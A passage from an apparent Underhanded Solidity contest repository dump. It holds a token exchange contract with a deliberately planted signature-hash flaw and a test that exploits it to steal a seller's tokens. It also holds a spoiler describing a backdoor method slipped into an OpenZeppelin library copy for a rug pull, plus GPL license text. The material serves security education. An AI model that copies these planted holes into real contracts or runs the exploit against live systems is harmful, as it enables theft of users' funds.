constant PARTIAL_ORDER = 1;\n\n  // Off-chain order representing a token sale (seller is the signer of the order)\n  struct Order {\n    address referrer;     // optional referrer field that takes a 1% of the amount paid in ETH\n    address token;        // token being offered in this order\n    uint128 rate;         // amount of tokens per eth sold (times RATE_DENOMINATOR)\n    uint24 nonce;         // nonce for differentiating two otherwise identical orders\n    uint256 amount;       // amount of tokens offered in this order\n    uint8 orderType;      // type of order (see constants above)\n  }\n\n  // How much of the total amount of tokens of an order have been purchased so far (indexed by order hash)\n  mapping(bytes32 => uint256) public amountExecutedPerOrder;\n\n  // Executes an order purchasing however many tokens correspond to the msg.value sent based on the order rate\n  function executeOrder(Order calldata order, uint8 v, bytes32 r, bytes32 s) external payable {\n    uint256 tokensPurchased = msg.value * order.rate / RATE_DENOMINATOR;\n    uint256 fee = order.referrer != address(0) ? (msg.value * REFERRAL_FEE / REFERRAL_FEE_DENOMINATOR) : 0;\n    bytes32 orderHash = getOrderHash(order);\n    address seller = ecrecover(orderHash, v, r, s);\n    \n    require(msg.value > 0, \"Payment required\");\n    require(seller != address(0), \"Wrong signature\");\n    require(order.orderType == EXACT_ORDER ? tokensPurchased == order.amount : true, \"Cannot take partial amount\");\n    require(tokensPurchased <= order.amount + amountExecutedPerOrder[orderHash], \"Amount purchased exceeds order\");\n\n    amountExecutedPerOrder[orderHash] += tokensPurchased;\n\n    IERC20(order.token).transferFrom(seller, msg.sender, tokensPurchased);\n    if (fee > 0) payable(order.referrer).transfer(fee);\n    payable(seller).transfer(msg.value - fee);\n  }\n\n  // Gets the hash of an order (used as its identifier)\n  function getOrderHash(Order memory order) public view returns (bytes32) {\n    return keccak256(abi.encodePacked(\n      order.referrer,\n      order.token,\n      order.rate,\n      order.nonce,\n      address(this), // include address of this contract to prevent replay attacks\n      order.amount,\n      order.orderType\n    ));\n  }\n}"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/contracts/mocks/MockERC20.sol",
    "content": "// SPDX-License-Identifier: WTFPL\npragma solidity ^0.8.4;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract MockERC20 is ERC20 {\n  constructor(address holder) ERC20(\"MockToken\", \"MCK\") {\n    _mint(holder, 10000 * 10 ** decimals());\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/hardhat.config.js",
    "content": "require(\"@nomiclabs/hardhat-ethers\");\nrequire(\"@nomiclabs/hardhat-waffle\");\n\nconst { solidity } = require('ethereum-waffle');\nrequire('chai').use(solidity);\n\n/**\n * @type import('hardhat/config').HardhatUserConfig\n */\nmodule.exports = {\n  solidity: \"0.8.11\",\n  networks: {\n    hardhat: {\n      chainId: 1,\n      initialBaseFeePerGas: '50000000000'\n    }\n  }\n};\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/package.json",
    "content": "{\n  \"name\": \"underhanded\",\n  \"version\": \"1.0.0\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"hardhat test\"\n  },\n  \"license\": \"WTFPL\",\n  \"dependencies\": {\n    \"@nomiclabs/hardhat-ethers\": \"^2.0.5\",\n    \"@nomiclabs/hardhat-waffle\": \"^2.0.3\",\n    \"@openzeppelin/contracts\": \"^4.5.0\",\n    \"chai\": \"^4.3.6\",\n    \"ethereum-waffle\": \"^4.0.0-alpha.0\",\n    \"ethers\": \"^5.6.1\",\n    \"hardhat\": \"^2.9.1\",\n    \"waffle\": \"^0.0.4\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/test/exploit.js",
    "content": "const { expect } = require(\"chai\");\nconst { ethers } = require(\"hardhat\");\n\nconst BN = ethers.BigNumber;\nconst eth = (value) => ethers.utils.parseEther(value.toString());\n\ndescribe(\"exploit\", function () {\n  it(\"steals tokens from a seller\", async function () {\n    const [_deployer, seller, attacker] = await ethers.getSigners();\n    const [initialAttackerBalance, initialSellerBalance] = await Promise.all([\n      attacker.getBalance(), seller.getBalance(),\n    ]);\n    \n    const token = await ethers.getContractFactory(\"MockERC20\").then(f => f.deploy(seller.address));\n    const exchange = await ethers.getContractFactory(\"Exchange\").then(f => f.deploy());\n    expect(await token.balanceOf(seller.address)).to.equal(eth(10000));\n\n    const tx = await token.connect(seller).approve(exchange.address, eth(1000), { gasLimit: 50000 });\n    const serializedTx = ethers.utils.serializeTransaction({ ...tx, gasPrice: null }).slice(2);\n    \n    const referrer = '0x' + serializedTx.substr(0, 40);\n    const rate = '0x' + serializedTx.substr(80, 32);\n    const orderType = '0xc0';\n    const nonce = 0;\n\n    const fakeOrder = [\n      referrer,\n      token.address,\n      rate,\n      nonce,\n      eth(1000),\n      orderType,\n    ];\n\n    console.log(tx);\n    console.log(serializedTx);\n    console.log(fakeOrder);\n\n    const requiredEth = eth(1000).mul(BN.from(2).pow(64)).div(rate);\n    const tokensOut = requiredEth.mul(rate).div(BN.from(2).pow(64));\n    \n    expect(requiredEth).to.equal(BN.from(107));\n    expect(tokensOut).to.be.closeTo(eth(1000), eth(100));\n\n    await exchange.connect(attacker).executeOrder(fakeOrder, 28, tx.r, tx.s, { value: requiredEth });\n\n    expect(await token.balanceOf(seller.address)).to.equal(eth(10000).sub(tokensOut));\n    expect(await token.balanceOf(attacker.address)).to.equal(tokensOut);\n    expect(await attacker.getBalance()).to.closeTo(initialAttackerBalance, eth(0.01));\n    expect(await seller.getBalance()).to.closeTo(initialSellerBalance, eth(0.01));\n  });\n});\n"
  },
  {
    "path": "2022/submissions_2022/submission10_SantiagoPalladino/test/happy.js",
    "content": "const { expect } = require(\"chai\");\n\nconst BN = ethers.BigNumber;\nconst eth = (value) => ethers.utils.parseEther(value.toString());\n\nconst SELLER_PK = '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d';\nconst SELLER_ADDRESS = '0x70997970C51812dc3A010C7d01b50e0d17dc79C8';\n\ndescribe(\"happy path\", function () {\n  it(\"purchases tokens from an order\", async function () {\n    const [_deployer, seller, buyer, referrer] = await ethers.getSigners();\n    const [initialBuyerBalance, initialSellerBalance, initialReferrerBalance] = await Promise.all([\n      buyer.getBalance(), seller.getBalance(), referrer.getBalance(),\n    ]);\n    \n    const rate = BN.from(2).pow(64); // 1:1\n    const nonce = 0;\n    \n    const token = await ethers.getContractFactory(\"MockERC20\").then(f => f.deploy(seller.address));\n    const exchange = await ethers.getContractFactory(\"Exchange\").then(f => f.deploy());\n    expect(await token.balanceOf(seller.address)).to.equal(eth(10000));\n    expect(seller.address).to.equal(SELLER_ADDRESS);\n\n    await token.connect(seller).approve(exchange.address, eth(1000));\n    \n    const order = [\n      referrer.address,\n      token.address,\n      rate,\n      nonce,\n      eth(1000),\n      1, // OrderType.PARTIAL\n    ];\n\n    const orderHash = await exchange.getOrderHash(order);\n    const { v, r, s } = new ethers.utils.SigningKey(SELLER_PK).signDigest(orderHash);\n\n    await exchange.connect(buyer).executeOrder(order, v, r, s, { value: eth(1000) });\n    \n    expect(await token.balanceOf(seller.address)).to.equal(eth(9000));\n    expect(await token.balanceOf(buyer.address)).to.equal(eth(1000));\n    expect(await buyer.getBalance()).to.closeTo(initialBuyerBalance.sub(eth(1000)), eth(0.01));\n    expect(await seller.getBalance()).to.closeTo(initialSellerBalance.add(eth(990)), eth(0.01));\n    expect(await referrer.getBalance()).to.equal(initialReferrerBalance.add(eth(10)));\n  });\n});\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/README.md",
    "content": "# The deadly LIP! pool\n\nIn the spring of 2022, several serial scammers were unmasked in the blockchain community. In the chaos, they disappeared back into the shadows, rolling their ETH into tornado behind them. A few weeks later, an anonymous, all-women team has taken the crypto world by storm with the launch of the LIP! project.\n\nLIP! allows anyone to launch their own line of cosmetics. Not only that, but everyone can profit from the future success of any line of cosmetics by joining that cosmetics pool. Think your favorite influencer has was it takes to make a hit? Then join in. LIP! products are already common sights on TikTok across Asia.\n\nPowering the LIP ecosystem is the LIP/DAI staking pool. Only LP tokens from this pool can be used for lock ups for manufacturing, profit sharing, and fair launch LIP distribution. To doubly encourage early investors, the LIP/DAI pool adds a 7% fee onto the pool liquidity deposits that goes back to early LIP/DAI LP holders. \n\n## Your mission\n\nYou are a hotshot security expert working for a large investment fund about send hundreds of millions into LIP! Is this the LIP LP contract safe? [Hint: No] Is whole project just a rug? [Hint: Yes]\n\n### More hints\n\n- The vulnerabilty is in the LipPool contract.\n- The vulnerabilty does not require any nonstandard behavior from the two tokens held by the pool.\n- The invarients in LipPool hold.\n- Swap methods have been ommited here for simplicity, they can be assumed to be perfect, profitiable for the pool, and irrelevant to the rug.\n- You are welcome to look at the tests / fuzzing tests. No spoilers there.\n- There is a placeholder POC unit test already written for you, it just needs the missing attack filled in."
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/SPOILER.md",
    "content": "\"What do you fear the most?\" People ask this question in icebreaker / party introduction games. It has always struck me as a terrible question. Perhaps you are supposed to answer with a humble-brag like \"The thing I fear the most is getting second place at the Olympics\", or something romantic, like \"not finding true love\". But as for me, I keep my mouth shut. I pass. I have an imagination.\n\nBut for nothing more than a shot at fleeting fame, I am sharing my number one, super secret, blockchain security fear. Someone please make this harder to attack. My fear is this: that some random NPM packages that a front-end guy added to our dapp is going to insert a little code into the copy of open zeppelin contracts used to build our contracts for deployment. All the work we spend on audits, checklists, code reviews, formal proving - for nothing! Who even checks those open zeppelin contract files on verified etherscan contracts anyway?\n\nThis submission has an extra method (that rhymes with 0x79cc6790) added to the open zeppelin library. This added method, although it follows the open zeppelin style, has a bug allows funds to be removed from other accounts if the attacker approves the other accounts to spend funds.\n\nThe attack is simple. The attacker mints a lot of LP tokens, removes the largest other holders LP tokens, then withdraws.\n\nRIP. REKT."
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a 